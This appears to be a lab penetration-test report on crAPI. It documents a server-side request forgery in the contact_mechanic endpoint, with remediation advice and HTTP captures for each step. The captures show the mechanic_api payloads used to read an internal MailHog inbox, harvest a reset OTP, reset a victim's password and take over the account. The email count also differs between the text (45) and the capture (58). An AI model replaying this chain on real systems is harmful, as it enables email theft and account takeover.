Test case 08 / 19FAIL

Server-Side Request Forgery - Workshop - Contact Mechanic

Lab environment — not a production system

Screenshots and raw traffic are not translated; text within them may be in another language.

crAPI/Evidence/[FAIL] Server-Side Request Forgery - Workshop - Contact Mechanic

01 — Notes

Test notes

Vulnerability

[FAIL] Server-Side Request Forgery - Workshop - Contact Mechanic

Description

The contact_mechanic endpoint accepts a full URL in the mechanic_api parameter and performs a server-side HTTP request to that URL, then reflects the response. An attacker can point it at INTERNAL services that are not exposed publicly. Escalation: the SSRF is aimed at the internal MailHog mail server (mailhog:8025) to read every user's email, harvest the victim's password-reset OTP, and then reset the victim's password -> Account Takeover.

Impact

Confidentiality + Integrity (Critical): the SSRF reads the entire internal mailbox (mailhog, 45 emails), including other users' reset OTPs/tokens, which are then used to take over victim accounts without knowing their credentials. Applies to any account whose email is known.

CWE

CWE-918: Server-Side Request Forgery (SSRF)

OWASP

API7:2023 - Server Side Request Forgery

Scenario

Normal: mechanic_api points to a legitimate mechanic endpoint. Exploitation (chain): SSRF -> internal MailHog -> read victim email -> harvest OTP -> reset victim password -> log in as the victim (ATO). The end result demonstrates CIA (Confidentiality + Integrity).

Endpoint

POST http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic

Affected feature

Contact Mechanic / mechanic API integration (crapi-workshop)

Remediation

- Do not accept full URLs from the client; use an allow-list of legitimate mechanic hosts/endpoints. - Block internal schemes and IP/host ranges (loopback, RFC1918, internal service names such as mailhog/crapi-identity). - Do not reflect raw upstream responses to the client. - Network segmentation: internal services (MailHog, actuator) must not be reachable from any service that accepts URL input.

Proof of concept

1) (Screenshot 1) NORMAL: contact_mechanic with mechanic_api set to a legitimate mechanic endpoint -> the server fetches it server-side. 2) (Screenshot 2) EXPLOITATION: mechanic_api = http://mailhog:8025/api/v2/messages -> the SSRF reads the ENTIRE internal mailbox (45 emails from all users). 3) (Screenshot 3) HARVEST: mechanic_api = http://mailhog:8025/api/v2/search?kind=to&query=[REDACTED-EMAIL] -> reads the victim's OTP email; the 4-digit OTP is harvested. 4) (Screenshot 4) CHAIN: the harvested OTP is sent to /identity/api/auth/v3/check-otp -> 'OTP verified', the victim's password is reset. 5) (Screenshot 5) CIA IMPACT: log in as the victim with the new password -> token issued -> Account Takeover.
View source note (English)
Vulnerability: [FAIL] Server-Side Request Forgery - Workshop - Contact Mechanic

Description:
The contact_mechanic endpoint accepts a full URL in the mechanic_api parameter and performs a server-side HTTP request to that URL, then reflects the response. An attacker can point it at INTERNAL services that are not exposed publicly. Escalation: the SSRF is aimed at the internal MailHog mail server (mailhog:8025) to read every user's email, harvest the victim's password-reset OTP, and then reset the victim's password -> Account Takeover.

Impact:
Confidentiality + Integrity (Critical): the SSRF reads the entire internal mailbox (mailhog, 45 emails), including other users' reset OTPs/tokens, which are then used to take over victim accounts without knowing their credentials. Applies to any account whose email is known.

CWE:
CWE-918: Server-Side Request Forgery (SSRF)

OWASP:
API7:2023 - Server Side Request Forgery

Scenario:
Normal: mechanic_api points to a legitimate mechanic endpoint. Exploitation (chain): SSRF -> internal MailHog -> read victim email -> harvest OTP -> reset victim password -> log in as the victim (ATO). The end result demonstrates CIA (Confidentiality + Integrity).

Endpoint:
POST http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic

Affected Feature:
Contact Mechanic / mechanic API integration (crapi-workshop)

Remediation:
- Do not accept full URLs from the client; use an allow-list of legitimate mechanic hosts/endpoints.
- Block internal schemes and IP/host ranges (loopback, RFC1918, internal service names such as mailhog/crapi-identity).
- Do not reflect raw upstream responses to the client.
- Network segmentation: internal services (MailHog, actuator) must not be reachable from any service that accepts URL input.

POC:
1) (Screenshot 1) NORMAL: contact_mechanic with mechanic_api set to a legitimate mechanic endpoint -> the server fetches it server-side.
2) (Screenshot 2) EXPLOITATION: mechanic_api = http://mailhog:8025/api/v2/messages -> the SSRF reads the ENTIRE internal mailbox (45 emails from all users).
3) (Screenshot 3) HARVEST: mechanic_api = http://mailhog:8025/api/v2/search?kind=to&query=[REDACTED-EMAIL] -> reads the victim's OTP email; the 4-digit OTP is harvested.
4) (Screenshot 4) CHAIN: the harvested OTP is sent to /identity/api/auth/v3/check-otp -> 'OTP verified', the victim's password is reset.
5) (Screenshot 5) CIA IMPACT: log in as the victim with the new password -> token issued -> Account Takeover.

02 — Screenshots

Screenshots (5)

01 / Normal: call the mechanic API

Normal: the workshop calls the mechanic API from the server and returns its response to the caller.

02 / Exploit: access internal MailHog through SSRF

Exploit: point mechanic_api at the internal MailHog service (mailhog:8025). The capture records access to the complete email inbox for all users, even though the service cannot be reached from outside.

03 / Exploit: obtain the victim's OTP

Exploit: SSRF reads the victim's password-reset email in MailHog, obtaining the 4-digit OTP (9899) without access to the victim's account.

04 / Attack chain: reset the victim's password

Attack chain: use the OTP obtained through SSRF to reset the victim's password. The capture records the response 'OTP verified' and the attacker changing the victim's password.

05 / Impact: account takeover confirmed by login

Impact: the capture records a successful login as the victim with the new password, and a token is issued. This completes the recorded account takeover and compromises confidentiality and integrity.

03 — Requests and responses

HTTP captures

Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.

CAPTURE 01 / 1Normal: call the mechanic API
HTTP request
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

{"mechanic_code": "TRAC_JHN", "problem_details": "mobil rusak", "mechanic_api": "http://127.0.0.1:8888/workshop/api/mechanic/", "number_of_repeats": 1, "vin": "861P9NB3CL6ZEA9X1"}
HTTP response
HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 270

{
  "response_from_mechanic_api": {
    "mechanics": [
      {
        "id": 1,
        "mechanic_code": "TRAC_JHN",
        "user": {
          "email": "[REDACTED-EMAIL]",
          "number": ""
        }
      },
      {
        "id": 2,
        "mechanic_code": "TRAC_JME",
        "user": {
          "email": "[REDACTED-EMAIL]",
          "number": ""
        }
      }
    ],
    "previous_offset": null,
    "next_offset": null
  },
  "status": 200
}

Normal: the workshop calls the mechanic API from the server and returns its response to the caller.

CAPTURE 02 / 2Exploit: access internal MailHog through SSRF
HTTP request
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

{"mechanic_code": "TRAC_JHN", "problem_details": "mobil rusak", "mechanic_api": "http://mailhog:8025/api/v2/messages", "number_of_repeats": 1, "vin": "861P9NB3CL6ZEA9X1"}
HTTP response
HTTP 200

{
  "response_from_mechanic_api": {
    "total": 58,
    "count": 50,
    "items_shown": [
      {
        "To": "[REDACTED-EMAIL]",
        "Subject": "crAPI OTP"
      },
      {
        "To": "[REDACTED-EMAIL]",
        "Subject": "Welcome to crAPI"
      }
    ]
  }
}

# CATATAN: MailHog internal (mailhog:8025) TIDAK terekspos ke luar; SSRF membaca SELURUH 58 email semua user.

Exploit: point mechanic_api at the internal MailHog service (mailhog:8025). The capture records access to the complete email inbox for all users, even though the service cannot be reached from outside.

CAPTURE 03 / 3Exploit: obtain the victim's OTP
HTTP request
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

{"mechanic_code": "TRAC_JHN", "problem_details": "mobil rusak", "mechanic_api": "http://mailhog:8025/api/v2/search?kind=to&query=[REDACTED-EMAIL]", "number_of_repeats": 1, "vin": "861P9NB3CL6ZEA9X1"}
HTTP response
HTTP 200

# Email OTP korban (Raw.Data) hasil SSRF ke MailHog:

Date: Tue, 29 Sep 2026 14:05:35 +0000 (UTC)
From: [REDACTED-EMAIL]
To: [REDACTED-EMAIL]
Message-ID: <1585033080.57.1790690735293@4f2ddf916d38>
Subject: crAPI OTP
MIME-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<table border='0' cellpadding='0' cellspacing='0' class='btn btn-primary'><tr><td align='center'><table border='0' cellpadding='0' cellspacing='0'><tr><td>Hi,</td><td> </td><td>Your one time generated otp is: 9899</td></tr></table></td></tr></table>

Exploit: SSRF reads the victim's password-reset email in MailHog, obtaining the 4-digit OTP (9899) without access to the victim's account.

CAPTURE 04 / 4Attack chain: reset the victim's password
HTTP request
POST /identity/api/auth/v3/check-otp HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json

{"email":"[REDACTED-EMAIL]","otp":"9899","password":"[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 39

{
  "message": "OTP verified",
  "status": 200
}

Attack chain: use the OTP obtained through SSRF to reset the victim's password. The capture records the response 'OTP verified' and the attacker changing the victim's password.

CAPTURE 05 / 5Impact: account takeover confirmed by login
HTTP request
POST /identity/api/auth/login HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json

{"email":"[REDACTED-EMAIL]","password":"[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 540

{
  "token": "[REDACTED-LAB-VALUE]",
  "type": "Bearer",
  "message": "Login successful",
  "mfaRequired": false
}

Impact: the capture records a successful login as the victim with the new password, and a token is issued. This completes the recorded account takeover and compromises confidentiality and integrity.